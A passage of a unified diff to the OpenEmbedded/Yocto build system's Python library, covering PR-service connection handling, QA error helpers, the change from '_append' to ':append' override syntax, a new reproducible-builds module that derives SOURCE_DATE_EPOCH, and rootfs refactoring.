- conn = d.getVar("__PRSERV_CONN")
+ conn = prserv_make_conn(d)
if conn is None:
- conn = prserv_make_conn(d)
- if conn is None:
- bb.error("Making connection failed to remote PR service")
- return None
+ bb.error("Making connection failed to remote PR service")
+ return None
#get the entry values
imported = []
prefix = "PRAUTO$"
@@ -70,6 +67,7 @@ def prserv_import_db(d, filter_version=None, filter_pkgarch=None, filter_checksu
bb.error("importing(%s,%s,%s,%d) failed. DB may have larger value %d" % (version,pkgarch,checksum,value,ret))
else:
imported.append((version,pkgarch,checksum,value))
+ conn.close()
return imported
def prserv_export_tofile(d, metainfo, datainfo, lockdown, nomax=False):
@@ -79,41 +77,40 @@ def prserv_export_tofile(d, metainfo, datainfo, lockdown, nomax=False):
df = d.getVar('PRSERV_DUMPFILE')
#write data
lf = bb.utils.lockfile("%s.lock" % df)
- f = open(df, "a")
- if metainfo:
- #dump column info
- f.write("#PR_core_ver = \"%s\"\n\n" % metainfo['core_ver']);
- f.write("#Table: %s\n" % metainfo['tbl_name'])
- f.write("#Columns:\n")
- f.write("#name \t type \t notn \t dflt \t pk\n")
- f.write("#----------\t --------\t --------\t --------\t ----\n")
- for i in range(len(metainfo['col_info'])):
- f.write("#%10s\t %8s\t %8s\t %8s\t %4s\n" %
- (metainfo['col_info'][i]['name'],
- metainfo['col_info'][i]['type'],
- metainfo['col_info'][i]['notnull'],
- metainfo['col_info'][i]['dflt_value'],
- metainfo['col_info'][i]['pk']))
- f.write("\n")
+ with open(df, "a") as f:
+ if metainfo:
+ #dump column info
+ f.write("#PR_core_ver = \"%s\"\n\n" % metainfo['core_ver']);
+ f.write("#Table: %s\n" % metainfo['tbl_name'])
+ f.write("#Columns:\n")
+ f.write("#name \t type \t notn \t dflt \t pk\n")
+ f.write("#----------\t --------\t --------\t --------\t ----\n")
+ for i in range(len(metainfo['col_info'])):
+ f.write("#%10s\t %8s\t %8s\t %8s\t %4s\n" %
+ (metainfo['col_info'][i]['name'],
+ metainfo['col_info'][i]['type'],
+ metainfo['col_info'][i]['notnull'],
+ metainfo['col_info'][i]['dflt_value'],
+ metainfo['col_info'][i]['pk']))
+ f.write("\n")
- if lockdown:
- f.write("PRSERV_LOCKDOWN = \"1\"\n\n")
+ if lockdown:
+ f.write("PRSERV_LOCKDOWN = \"1\"\n\n")
- if datainfo:
- idx = {}
- for i in range(len(datainfo)):
- pkgarch = datainfo[i]['pkgarch']
- value = datainfo[i]['value']
- if pkgarch not in idx:
- idx[pkgarch] = i
- elif value > datainfo[idx[pkgarch]]['value']:
- idx[pkgarch] = i
- f.write("PRAUTO$%s$%s$%s = \"%s\"\n" %
- (str(datainfo[i]['version']), pkgarch, str(datainfo[i]['checksum']), str(value)))
- if not nomax:
- for i in idx:
- f.write("PRAUTO_%s_%s = \"%s\"\n" % (str(datainfo[idx[i]]['version']),str(datainfo[idx[i]]['pkgarch']),str(datainfo[idx[i]]['value'])))
- f.close()
+ if datainfo:
+ idx = {}
+ for i in range(len(datainfo)):
+ pkgarch = datainfo[i]['pkgarch']
+ value = datainfo[i]['value']
+ if pkgarch not in idx:
+ idx[pkgarch] = i
+ elif value > datainfo[idx[pkgarch]]['value']:
+ idx[pkgarch] = i
+ f.write("PRAUTO$%s$%s$%s = \"%s\"\n" %
+ (str(datainfo[i]['version']), pkgarch, str(datainfo[i]['checksum']), str(value)))
+ if not nomax:
+ for i in idx:
+ f.write("PRAUTO_%s_%s = \"%s\"\n" % (str(datainfo[idx[i]]['version']),str(datainfo[idx[i]]['pkgarch']),str(datainfo[idx[i]]['value'])))
bb.utils.unlockfile(lf)
def prserv_check_avail(d):
@@ -126,4 +123,5 @@ def prserv_check_avail(d):
except TypeError:
bb.fatal('Undefined/incorrect PRSERV_HOST value. Format: "host:port"')
else:
- prserv_make_conn(d, True)
+ conn = prserv_make_conn(d, True)
+ conn.close()
diff --git a/meta/lib/oe/qa.py b/meta/lib/oe/qa.py
index 21066c4dc3..89acd3ead0 100644
--- a/meta/lib/oe/qa.py
+++ b/meta/lib/oe/qa.py
@@ -41,13 +41,18 @@ class ELFFile:
def __init__(self, name):
self.name = name
self.objdump_output = {}
+ self.data = None
# Context Manager functions to close the mmap explicitly
def __enter__(self):
return self
def __exit__(self, exc_type, exc_value, traceback):
- self.data.close()
+ self.close()
+
+ def close(self):
+ if self.data:
+ self.data.close()
def open(self):
with open(self.name, "rb") as f:
@@ -126,6 +131,9 @@ class ELFFile:
"""
return self.getShort(ELFFile.E_MACHINE)
+ def set_objdump(self, cmd, output):
+ self.objdump_output[cmd] = output
+
def run_objdump(self, cmd, d):
import bb.process
import sys
@@ -154,6 +162,7 @@ def elf_machine_to_string(machine):
"""
try:
return {
+ 0x00: "Unset",
0x02: "SPARC",
0x03: "x86",
0x08: "MIPS",
@@ -168,6 +177,40 @@ def elf_machine_to_string(machine):
except:
return "Unknown (%s)" % repr(machine)
+def write_error(type, error, d):
+ logfile = d.getVar('QA_LOGFILE')
+ if logfile:
+ p = d.getVar('P')
+ with open(logfile, "a+") as f:
+ f.write("%s: %s [%s]\n" % (p, error, type))
+
+def handle_error(error_class, error_msg, d):
+ if error_class in (d.getVar("ERROR_QA") or "").split():
+ write_error(error_class, error_msg, d)
+ bb.error("QA Issue: %s [%s]" % (error_msg, error_class))
+ d.setVar("QA_ERRORS_FOUND", "True")
+ return False
+ elif error_class in (d.getVar("WARN_QA") or "").split():
+ write_error(error_class, error_msg, d)
+ bb.warn("QA Issue: %s [%s]" % (error_msg, error_class))
+ else:
+ bb.note("QA Issue: %s [%s]" % (error_msg, error_class))
+ return True
+
+def add_message(messages, section, new_msg):
+ if section not in messages:
+ messages[section] = new_msg
+ else:
+ messages[section] = messages[section] + "\n" + new_msg
+
+def exit_with_message_if_errors(message, d):
+ qa_fatal_errors = bb.utils.to_boolean(d.getVar("QA_ERRORS_FOUND"), False)
+ if qa_fatal_errors:
+ bb.fatal(message)
+
+def exit_if_errors(d):
+ exit_with_message_if_errors("Fatal QA errors were found, failing task.", d)
+
if __name__ == "__main__":
import sys
diff --git a/meta/lib/oe/recipeutils.py b/meta/lib/oe/recipeutils.py
index 630ae967af..872ff97b89 100644
--- a/meta/lib/oe/recipeutils.py
+++ b/meta/lib/oe/recipeutils.py
@@ -24,7 +24,7 @@ from collections import OrderedDict, defaultdict
from bb.utils import vercmp_string
# Help us to find places to insert values
-recipe_progression = ['SUMMARY', 'DESCRIPTION', 'HOMEPAGE', 'BUGTRACKER', 'SECTION', 'LICENSE', 'LICENSE_FLAGS', 'LIC_FILES_CHKSUM', 'PROVIDES', 'DEPENDS', 'PR', 'PV', 'SRCREV', 'SRCPV', 'SRC_URI', 'S', 'do_fetch()', 'do_unpack()', 'do_patch()', 'EXTRA_OECONF', 'EXTRA_OECMAKE', 'EXTRA_OESCONS', 'do_configure()', 'EXTRA_OEMAKE', 'do_compile()', 'do_install()', 'do_populate_sysroot()', 'INITSCRIPT', 'USERADD', 'GROUPADD', 'PACKAGES', 'FILES', 'RDEPENDS', 'RRECOMMENDS', 'RSUGGESTS', 'RPROVIDES', 'RREPLACES', 'RCONFLICTS', 'ALLOW_EMPTY', 'populate_packages()', 'do_package()', 'do_deploy()']
+recipe_progression = ['SUMMARY', 'DESCRIPTION', 'AUTHOR', 'HOMEPAGE', 'BUGTRACKER', 'SECTION', 'LICENSE', 'LICENSE_FLAGS', 'LIC_FILES_CHKSUM', 'PROVIDES', 'DEPENDS', 'PR', 'PV', 'SRCREV', 'SRCPV', 'SRC_URI', 'S', 'do_fetch()', 'do_unpack()', 'do_patch()', 'EXTRA_OECONF', 'EXTRA_OECMAKE', 'EXTRA_OESCONS', 'do_configure()', 'EXTRA_OEMAKE', 'do_compile()', 'do_install()', 'do_populate_sysroot()', 'INITSCRIPT', 'USERADD', 'GROUPADD', 'PACKAGES', 'FILES', 'RDEPENDS', 'RRECOMMENDS', 'RSUGGESTS', 'RPROVIDES', 'RREPLACES', 'RCONFLICTS', 'ALLOW_EMPTY', 'populate_packages()', 'do_package()', 'do_deploy()', 'BBCLASSEXTEND']
# Variables that sometimes are a bit long but shouldn't be wrapped
nowrap_vars = ['SUMMARY', 'HOMEPAGE', 'BUGTRACKER', r'SRC_URI\[(.+\.)?md5sum\]', r'SRC_URI\[(.+\.)?sha256sum\]']
list_vars = ['SRC_URI', 'LIC_FILES_CHKSUM']
@@ -47,7 +47,7 @@ def simplify_history(history, d):
continue
has_set = True
elif event['op'] in ('append', 'prepend', 'postdot', 'predot'):
- # Reminder: "append" and "prepend" mean += and =+ respectively, NOT _append / _prepend
+ # Reminder: "append" and "prepend" mean += and =+ respectively, NOT :append / :prepend
if has_set:
continue
ret_history.insert(0, event)
@@ -342,7 +342,7 @@ def patch_recipe(d, fn, varvalues, patch=False, relpath='', redirect_output=None
def override_applicable(hevent):
op = hevent['op']
if '[' in op:
- opoverrides = op.split('[')[1].split(']')[0].split('_')
+ opoverrides = op.split('[')[1].split(']')[0].split(':')
for opoverride in opoverrides:
if not opoverride in overrides:
return False
@@ -368,13 +368,13 @@ def patch_recipe(d, fn, varvalues, patch=False, relpath='', redirect_output=None
recipe_set = True
if not recipe_set:
for event in history:
- if event['op'].startswith('_remove'):
+ if event['op'].startswith(':remove'):
continue
if not override_applicable(event):
continue
newvalue = value.replace(event['detail'], '')
- if newvalue == value and os.path.abspath(event['file']) == fn and event['op'].startswith('_'):
- op = event['op'].replace('[', '_').replace(']', '')
+ if newvalue == value and os.path.abspath(event['file']) == fn and event['op'].startswith(':'):
+ op = event['op'].replace('[', ':').replace(']', '')
extravals[var + op] = None
value = newvalue
vals[var] = ('+=', value)
@@ -409,18 +409,20 @@ def copy_recipe_files(d, tgt_dir, whole_dir=False, download=True, all_variants=F
fetch.download()
for pth in fetch.localpaths():
if pth not in localpaths:
- localpaths.append(pth)
+ localpaths.append(os.path.abspath(pth))
uri_values.append(srcuri)
fetch_urls(d)
if all_variants:
- # Get files for other variants e.g. in the case of a SRC_URI_append
+ # Get files for other variants e.g. in the case of a SRC_URI:append
localdata = bb.data.createCopy(d)
variants = (localdata.getVar('BBCLASSEXTEND') or '').split()
if variants:
# Ensure we handle class-target if we're dealing with one of the variants
variants.append('target')
for variant in variants:
+ if variant.startswith("devupstream"):
+ localdata.setVar('SRCPV', 'git')
localdata.setVar('CLASSOVERRIDE', 'class-%s' % variant)
fetch_urls(localdata)
@@ -561,6 +563,23 @@ def get_bbfile_path(d, destdir, extrapathhint=None):
confdata = bb.cookerdata.parse_config_file(destlayerconf, confdata)
pn = d.getVar('PN')
+ # Parse BBFILES_DYNAMIC and append to BBFILES
+ bbfiles_dynamic = (confdata.getVar('BBFILES_DYNAMIC') or "").split()
+ collections = (confdata.getVar('BBFILE_COLLECTIONS') or "").split()
+ invalid = []
+ for entry in bbfiles_dynamic:
+ parts = entry.split(":", 1)
+ if len(parts) != 2:
+ invalid.append(entry)
+ continue
+ l, f = parts
+ invert = l[0] == "!"
+ if invert:
+ l = l[1:]
+ if (l in collections and not invert) or (l not in collections and invert):
+ confdata.appendVar("BBFILES", " " + f)
+ if invalid:
+ return None
bbfilespecs = (confdata.getVar('BBFILES') or '').split()
if destdir == destlayerdir:
for bbfilespec in bbfilespecs:
@@ -734,12 +753,12 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
destsubdir = rd.getVar('PN')
if srcfiles:
- bbappendlines.append(('FILESEXTRAPATHS_prepend', ':=', '${THISDIR}/${PN}:'))
+ bbappendlines.append(('FILESEXTRAPATHS:prepend', ':=', '${THISDIR}/${PN}:'))
appendoverride = ''
if machine:
bbappendlines.append(('PACKAGE_ARCH', '=', '${MACHINE_ARCH}'))
- appendoverride = '_%s' % machine
+ appendoverride = ':%s' % machine
copyfiles = {}
if srcfiles:
instfunclines = []
@@ -753,7 +772,7 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
# FIXME do we care if the entry is added by another bbappend that might go away?
if not srcurientry in rd.getVar('SRC_URI').split():
if machine:
- appendline('SRC_URI_append%s' % appendoverride, '=', ' ' + srcurientry)
+ appendline('SRC_URI:append%s' % appendoverride, '=', ' ' + srcurientry)
else:
appendline('SRC_URI', '+=', srcurientry)
copyfiles[newfile] = srcfile
@@ -767,7 +786,7 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
instfunclines.append(instdirline)
instfunclines.append('install -m %s ${WORKDIR}/%s ${D}%s' % (perms, os.path.basename(srcfile), instdestpath))
if instfunclines:
- bbappendlines.append(('do_install_append%s()' % appendoverride, '', instfunclines))
+ bbappendlines.append(('do_install:append%s()' % appendoverride, '', instfunclines))
if redirect_output:
bb.note('Writing append file %s (dry-run)' % appendpath)
@@ -785,15 +804,15 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
extvars = {'destsubdir': destsubdir}
def appendfile_varfunc(varname, origvalue, op, newlines):
- if varname == 'FILESEXTRAPATHS_prepend':
+ if varname == 'FILESEXTRAPATHS:prepend':
if origvalue.startswith('${THISDIR}/'):
- popline('FILESEXTRAPATHS_prepend')
+ popline('FILESEXTRAPATHS:prepend')
extvars['destsubdir'] = rd.expand(origvalue.split('${THISDIR}/', 1)[1].rstrip(':'))
elif varname == 'PACKAGE_ARCH':
if machine:
popline('PACKAGE_ARCH')
return (machine, None, 4, False)
- elif varname.startswith('do_install_append'):
+ elif varname.startswith('do_install:append'):
func = popline(varname)
if func:
instfunclines = [line.strip() for line in origvalue.strip('\n').splitlines()]
@@ -805,7 +824,7 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
splitval = split_var_value(origvalue, assignment=False)
changed = False
removevar = varname
- if varname in ['SRC_URI', 'SRC_URI_append%s' % appendoverride]:
+ if varname in ['SRC_URI', 'SRC_URI:append%s' % appendoverride]:
removevar = 'SRC_URI'
line = popline(varname)
if line:
@@ -834,11 +853,11 @@ def bbappend_recipe(rd, destlayerdir, srcfiles, install=None, wildcardver=False,
newvalue = splitval
if len(newvalue) == 1:
# Ensure it's written out as one line
- if '_append' in varname:
+ if ':append' in varname:
newvalue = ' ' + newvalue[0]
else:
newvalue = newvalue[0]
- if not newvalue and (op in ['+=', '.='] or '_append' in varname):
+ if not newvalue and (op in ['+=', '.='] or ':append' in varname):
# There's no point appending nothing
newvalue = None
if varname.endswith('()'):
@@ -1010,6 +1029,7 @@ def get_recipe_upstream_version(rd):
else:
ud = bb.fetch2.FetchData(src_uri, rd)
if rd.getVar("UPSTREAM_CHECK_COMMITS") == "1":
+ bb.fetch2.get_srcrev(rd)
revision = ud.method.latest_revision(ud, rd, 'default')
upversion = pv
if revision != rd.getVar("SRCREV"):
@@ -1059,7 +1079,6 @@ def get_recipe_upgrade_status(recipes=None):
data_copy_list = []
copy_vars = ('SRC_URI',
'PV',
- 'GITDIR',
'DL_DIR',
'PN',
'CACHE',
@@ -1075,6 +1094,18 @@ def get_recipe_upgrade_status(recipes=None):
'RECIPE_UPSTREAM_VERSION',
'RECIPE_UPSTREAM_DATE',
'CHECK_DATE',
+ 'FETCHCMD_bzr',
+ 'FETCHCMD_ccrc',
+ 'FETCHCMD_cvs',
+ 'FETCHCMD_git',
+ 'FETCHCMD_hg',
+ 'FETCHCMD_npm',
+ 'FETCHCMD_osc',
+ 'FETCHCMD_p4',
+ 'FETCHCMD_repo',
+ 'FETCHCMD_s3',
+ 'FETCHCMD_svn',
+ 'FETCHCMD_wget',
)
with bb.tinfoil.Tinfoil() as tinfoil:
diff --git a/meta/lib/oe/reproducible.py b/meta/lib/oe/reproducible.py
new file mode 100644
index 0000000000..35b8be6d08
--- /dev/null
+++ b/meta/lib/oe/reproducible.py
@@ -0,0 +1,192 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+import os
+import subprocess
+import bb
+
+# For reproducible builds, this code sets the default SOURCE_DATE_EPOCH in each
+# component's build environment. The format is number of seconds since the
+# system epoch.
+#
+# Upstream components (generally) respect this environment variable,
+# using it in place of the "current" date and time.
+# See https://reproducible-builds.org/specs/source-date-epoch/
+#
+# The default value of SOURCE_DATE_EPOCH comes from the function
+# get_source_date_epoch_value which reads from the SDE_FILE, or if the file
+# is not available will use the fallback of SOURCE_DATE_EPOCH_FALLBACK.
+#
+# The SDE_FILE is normally constructed from the function
+# create_source_date_epoch_stamp which is typically added as a postfuncs to
+# the do_unpack task. If a recipe does NOT have do_unpack, it should be added
+# to a task that runs after the source is available and before the
+# do_deploy_source_date_epoch task is executed.
+#
+# If a recipe wishes to override the default behavior it should set it's own
+# SOURCE_DATE_EPOCH or override the do_deploy_source_date_epoch_stamp task
+# with recipe-specific functionality to write the appropriate
+# SOURCE_DATE_EPOCH into the SDE_FILE.
+#
+# SOURCE_DATE_EPOCH is intended to be a reproducible value. This value should
+# be reproducible for anyone who builds the same revision from the same
+# sources.
+#
+# There are 4 ways the create_source_date_epoch_stamp function determines what
+# becomes SOURCE_DATE_EPOCH:
+#
+# 1. Use the value from __source_date_epoch.txt file if this file exists.
+# This file was most likely created in the previous build by one of the
+# following methods 2,3,4.
+# Alternatively, it can be provided by a recipe via SRC_URI.
+#
+# If the file does not exist:
+#
+# 2. If there is a git checkout, use the last git commit timestamp.
+# Git does not preserve file timestamps on checkout.
+#
+# 3. Use the mtime of "known" files such as NEWS, CHANGLELOG, ...
+# This works for well-kept repositories distributed via tarball.
+#
+# 4. Use the modification time of the youngest file in the source tree, if
+# there is one.
+# This will be the newest file from the distribution tarball, if any.
+#
+# 5. Fall back to a fixed timestamp (SOURCE_DATE_EPOCH_FALLBACK).
+#
+# Once the value is determined, it is stored in the recipe's SDE_FILE.
+
+def get_source_date_epoch_from_known_files(d, sourcedir):
+ source_date_epoch = None
+ newest_file = None
+ known_files = set(["NEWS", "ChangeLog", "Changelog", "CHANGES"])
+ for file in known_files:
+ filepath = os.path.join(sourcedir, file)
+ if os.path.isfile(filepath):
+ mtime = int(os.lstat(filepath).st_mtime)
+ # There may be more than one "known_file" present, if so, use the youngest one
+ if not source_date_epoch or mtime > source_date_epoch:
+ source_date_epoch = mtime
+ newest_file = filepath
+ if newest_file:
+ bb.debug(1, "SOURCE_DATE_EPOCH taken from: %s" % newest_file)
+ return source_date_epoch
+
+def find_git_folder(d, sourcedir):
+ # First guess: WORKDIR/git
+ # This is the default git fetcher unpack path
+ workdir = d.getVar('WORKDIR')
+ gitpath = os.path.join(workdir, "git/.git")
+ if os.path.isdir(gitpath):
+ return gitpath
+
+ # Second guess: ${S}
+ gitpath = os.path.join(sourcedir, ".git")
+ if os.path.isdir(gitpath):
+ return gitpath
+
+ # Perhaps there was a subpath or destsuffix specified.
+ # Go looking in the WORKDIR
+ exclude = set(["build", "image", "license-destdir", "patches", "pseudo",
+ "recipe-sysroot", "recipe-sysroot-native", "sysroot-destdir", "temp"])
+ for root, dirs, files in os.walk(workdir, topdown=True):
+ dirs[:] = [d for d in dirs if d not in exclude]
+ if '.git' in dirs:
+ return os.path.join(root, ".git")
+
+ bb.warn("Failed to find a git repository in WORKDIR: %s" % workdir)
+ return None
+
+def get_source_date_epoch_from_git(d, sourcedir):
+ if not "git://" in d.getVar('SRC_URI') and not "gitsm://" in d.getVar('SRC_URI'):
+ return None
+
+ gitpath = find_git_folder(d, sourcedir)
+ if not gitpath:
+ return None
+
+ # Check that the repository has a valid HEAD; it may not if subdir is used
+ # in SRC_URI
+ p = subprocess.run(['git', '--git-dir', gitpath, 'rev-parse', 'HEAD'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
+ if p.returncode != 0:
+ bb.debug(1, "%s does not have a valid HEAD: %s" % (gitpath, p.stdout.decode('utf-8')))
+ return None
+
+ bb.debug(1, "git repository: %s" % gitpath)
+ p = subprocess.run(['git', '--git-dir', gitpath, 'log', '-1', '--pretty=%ct'], check=True, stdout=subprocess.PIPE)
+ return int(p.stdout.decode('utf-8'))
+
+def get_source_date_epoch_from_youngest_file(d, sourcedir):
+ if sourcedir == d.getVar('WORKDIR'):
+ # These sources are almost certainly not from a tarball
+ return None
+
+ # Do it the hard way: check all files and find the youngest one...
+ source_date_epoch = None
+ newest_file = None
+ for root, dirs, files in os.walk(sourcedir, topdown=True):
+ files = [f for f in files if not f[0] == '.']
+
+ for fname in files:
+ filename = os.path.join(root, fname)
+ try:
+ mtime = int(os.lstat(filename).st_mtime)
+ except ValueError:
+ mtime = 0
+ if not source_date_epoch or mtime > source_date_epoch:
+ source_date_epoch = mtime
+ newest_file = filename
+
+ if newest_file:
+ bb.debug(1, "Newest file found: %s" % newest_file)
+ return source_date_epoch
+
+def fixed_source_date_epoch(d):
+ bb.debug(1, "No tarball or git repo found to determine SOURCE_DATE_EPOCH")
+ source_date_epoch = d.getVar('SOURCE_DATE_EPOCH_FALLBACK')
+ if source_date_epoch:
+ bb.debug(1, "Using SOURCE_DATE_EPOCH_FALLBACK")
+ return int(source_date_epoch)
+ return 0
+
+def get_source_date_epoch(d, sourcedir):
+ return (
+ get_source_date_epoch_from_git(d, sourcedir) or
+ get_source_date_epoch_from_known_files(d, sourcedir) or
+ get_source_date_epoch_from_youngest_file(d, sourcedir) or
+ fixed_source_date_epoch(d) # Last resort
+ )
+
+def epochfile_read(epochfile, d):
+ cached, efile = d.getVar('__CACHED_SOURCE_DATE_EPOCH') or (None, None)
+ if cached and efile == epochfile:
+ return cached
+
+ if cached and epochfile != efile:
+ bb.debug(1, "Epoch file changed from %s to %s" % (efile, epochfile))
+
+ source_date_epoch = int(d.getVar('SOURCE_DATE_EPOCH_FALLBACK'))
+ try:
+ with open(epochfile, 'r') as f:
+ s = f.read()
+ try:
+ source_date_epoch = int(s)
+ except ValueError:
+ bb.warn("SOURCE_DATE_EPOCH value '%s' is invalid. Reverting to SOURCE_DATE_EPOCH_FALLBACK" % s)
+ source_date_epoch = int(d.getVar('SOURCE_DATE_EPOCH_FALLBACK'))
+ bb.debug(1, "SOURCE_DATE_EPOCH: %d" % source_date_epoch)
+ except FileNotFoundError:
+ bb.debug(1, "Cannot find %s. SOURCE_DATE_EPOCH will default to %d" % (epochfile, source_date_epoch))
+
+ d.setVar('__CACHED_SOURCE_DATE_EPOCH', (str(source_date_epoch), epochfile))
+ return str(source_date_epoch)
+
+def epochfile_write(source_date_epoch, epochfile, d):
+
+ bb.debug(1, "SOURCE_DATE_EPOCH: %d" % source_date_epoch)
+ bb.utils.mkdirhier(os.path.dirname(epochfile))
+
+ tmp_file = "%s.new" % epochfile
+ with open(tmp_file, 'w') as f:
+ f.write(str(source_date_epoch))
+ os.rename(tmp_file, epochfile)
diff --git a/meta/lib/oe/rootfs.py b/meta/lib/oe/rootfs.py
index c62fa5f54a..98cf3f244d 100644
--- a/meta/lib/oe/rootfs.py
+++ b/meta/lib/oe/rootfs.py
@@ -6,13 +6,11 @@ from oe.utils import execute_pre_post_process
from oe.package_manager import *
from oe.manifest import *
import oe.path
-import filecmp
import shutil
import os
import subprocess
import re
-
class Rootfs(object, metaclass=ABCMeta):
"""
This is an abstract class. Do not instantiate this directly.
@@ -51,6 +49,8 @@ class Rootfs(object, metaclass=ABCMeta):
excludes = [ 'log_check', r'^\+' ]
if hasattr(self, 'log_check_expected_regexes'):
excludes.extend(self.log_check_expected_regexes)
+ # Insert custom log_check excludes
+ excludes += [x for x in (self.d.getVar("IMAGE_LOG_CHECK_EXCLUDES") or "").split(" ") if x]
excludes = [re.compile(x) for x in excludes]
r = re.compile(match)
log_path = self.d.expand("${T}/log.do_rootfs")
@@ -114,7 +114,7 @@ class Rootfs(object, metaclass=ABCMeta):
shutil.rmtree(self.image_rootfs + '-orig')
except:
pass
- os.rename(self.image_rootfs, self.image_rootfs + '-orig')
+ bb.utils.rename(self.image_rootfs, self.image_rootfs + '-orig')
bb.note(" Creating debug rootfs...")
bb.utils.mkdirhier(self.image_rootfs)
@@ -126,17 +126,16 @@ class Rootfs(object, metaclass=ABCMeta):
bb.utils.mkdirhier(self.image_rootfs + os.path.dirname(dir))
shutil.copytree(self.image_rootfs + '-orig' + dir, self.image_rootfs + dir, symlinks=True)
- cpath = oe.cachedpath.CachedPath()
# Copy files located in /usr/lib/debug or /usr/src/debug
for dir in ["/usr/lib/debug", "/usr/src/debug"]:
src = self.image_rootfs + '-orig' + dir
- if cpath.exists(src):
+ if os.path.exists(src):
dst = self.image_rootfs + dir
bb.utils.mkdirhier(os.path.dirname(dst))
shutil.copytree(src, dst)
# Copy files with suffix '.debug' or located in '.debug' dir.
- for root, dirs, files in cpath.walk(self.image_rootfs + '-orig'):
+ for root, dirs, files in os.walk(self.image_rootfs + '-orig'):
relative_dir = root[len(self.image_rootfs + '-orig'):]
for f in files:
if f.endswith('.debug') or '/.debug' in relative_dir:
@@ -166,10 +165,10 @@ class Rootfs(object, metaclass=ABCMeta):
shutil.rmtree(self.image_rootfs + '-dbg')
except:
pass
- os.rename(self.image_rootfs, self.image_rootfs + '-dbg')
+ bb.utils.rename(self.image_rootfs, self.image_rootfs + '-dbg')
- bb.note(" Restoreing original rootfs...")
- os.rename(self.image_rootfs + '-orig', self.image_rootfs)
+ bb.note(" Restoring original rootfs...")
+ bb.utils.rename(self.image_rootfs + '-orig', self.image_rootfs)
def _exec_shell_cmd(self, cmd):
fakerootcmd = self.d.getVar('FAKEROOT')
@@ -191,10 +190,6 @@ class Rootfs(object, metaclass=ABCMeta):
post_process_cmds = self.d.getVar("ROOTFS_POSTPROCESS_COMMAND")
rootfs_post_install_cmds = self.d.getVar('ROOTFS_POSTINSTALL_COMMAND')
- bb.utils.mkdirhier(self.image_rootfs)
-
- bb.utils.mkdirhier(self.deploydir)
-
execute_pre_post_process(self.d, pre_process_cmds)
if self.progress_reporter:
@@ -218,6 +213,9 @@ class Rootfs(object, metaclass=ABCMeta):
self.progress_reporter.next_stage()
if bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs",
+ True, False, self.d) and \
+ not bb.utils.contains("IMAGE_FEATURES",
+ "read-only-rootfs-delayed-postinsts",
True, False, self.d):
delayed_postinsts = self._get_delayed_postinsts()
if delayed_postinsts is not None:
@@ -248,13 +246,11 @@ class Rootfs(object, metaclass=ABCMeta):
def _uninstall_unneeded(self):
- # Remove unneeded init script symlinks
+ # Remove the run-postinsts package if no delayed postinsts are found
delayed_postinsts = self._get_delayed_postinsts()
if delayed_postinsts is None:
- if os.path.exists(self.d.expand("${IMAGE_ROOTFS}${sysconfdir}/init.d/run-postinsts")):
- self._exec_shell_cmd(["update-rc.d", "-f", "-r",
- self.d.getVar('IMAGE_ROOTFS'),
- "run-postinsts", "remove"])
+ if os.path.exists(self.d.expand("${IMAGE_ROOTFS}${sysconfdir}/init.d/run-postinsts")) or os.path.exists(self.d.expand("${IMAGE_ROOTFS}${systemd_system_unitdir}/run-postinsts.service")):
+ self.pm.remove(["run-postinsts"])
image_rorfs = bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs",
True, False, self.d)
@@ -298,14 +294,24 @@ class Rootfs(object, metaclass=ABCMeta):
def _run_ldconfig(self):
if self.d.getVar('LDCONFIGDEPEND'):
- bb.note("Executing: ldconfig -r" + self.image_rootfs + "-c new -v")
+ bb.note("Executing: ldconfig -r " + self.image_rootfs + " -c new -v -X")
self._exec_shell_cmd(['ldconfig', '-r', self.image_rootfs, '-c',
- 'new', '-v'])
+ 'new', '-v', '-X'])
+
+ image_rorfs = bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs",
+ True, False, self.d)
+ ldconfig_in_features = bb.utils.contains("DISTRO_FEATURES", "ldconfig",
+ True, False, self.d)
+ if image_rorfs or not ldconfig_in_features:
+ ldconfig_cache_dir = os.path.join(self.image_rootfs, "var/cache/ldconfig")
+ if os.path.exists(ldconfig_cache_dir):
+ bb.note("Removing ldconfig auxiliary cache...")
+ shutil.rmtree(ldconfig_cache_dir)
def _check_for_kernel_modules(self, modules_dir):
for root, dirs, files in os.walk(modules_dir, topdown=True):
for name in files:
- found_ko = name.endswith(".ko")
+ found_ko = name.endswith((".ko", ".ko.gz", ".ko.xz"))
if found_ko:
return found_ko
return False
@@ -354,614 +360,10 @@ class Rootfs(object, metaclass=ABCMeta):
self.image_rootfs, "-D", devtable])
-class RpmRootfs(Rootfs):
- def __init__(self, d, manifest_dir, progress_reporter=None, logcatcher=None):
- super(RpmRootfs, self).__init__(d, progress_reporter, logcatcher)
- self.log_check_regex = r'(unpacking of archive failed|Cannot find package'\
- r'|exit 1|ERROR: |Error: |Error |ERROR '\
- r'|Failed |Failed: |Failed$|Failed\(\d+\):)'
- self.manifest = RpmManifest(d, manifest_dir)
-
- self.pm = RpmPM(d,
- d.getVar('IMAGE_ROOTFS'),
- self.d.getVar('TARGET_VENDOR')
- )
-
- self.inc_rpm_image_gen = self.d.getVar('INC_RPM_IMAGE_GEN')
- if self.inc_rpm_image_gen != "1":
- bb.utils.remove(self.image_rootfs, True)
- else:
- self.pm.recovery_packaging_data()
- bb.utils.remove(self.d.getVar('MULTILIB_TEMP_ROOTFS'), True)
-
- self.pm.create_configs()
-
- '''
- While rpm incremental image generation is enabled, it will remove the
- unneeded pkgs by comparing the new install solution manifest and the
- old installed manifest.
- '''
- def _create_incremental(self, pkgs_initial_install):
- if self.inc_rpm_image_gen == "1":
-
- pkgs_to_install = list()
- for pkg_type in pkgs_initial_install:
- pkgs_to_install += pkgs_initial_install[pkg_type]
-
- installed_manifest = self.pm.load_old_install_solution()
- solution_manifest = self.pm.dump_install_solution(pkgs_to_install)
-
- pkg_to_remove = list()
- for pkg in installed_manifest:
- if pkg not in solution_manifest:
- pkg_to_remove.append(pkg)
-
- self.pm.update()
-
- bb.note('incremental update -- upgrade packages in place ')
- self.pm.upgrade()
- if pkg_to_remove != []:
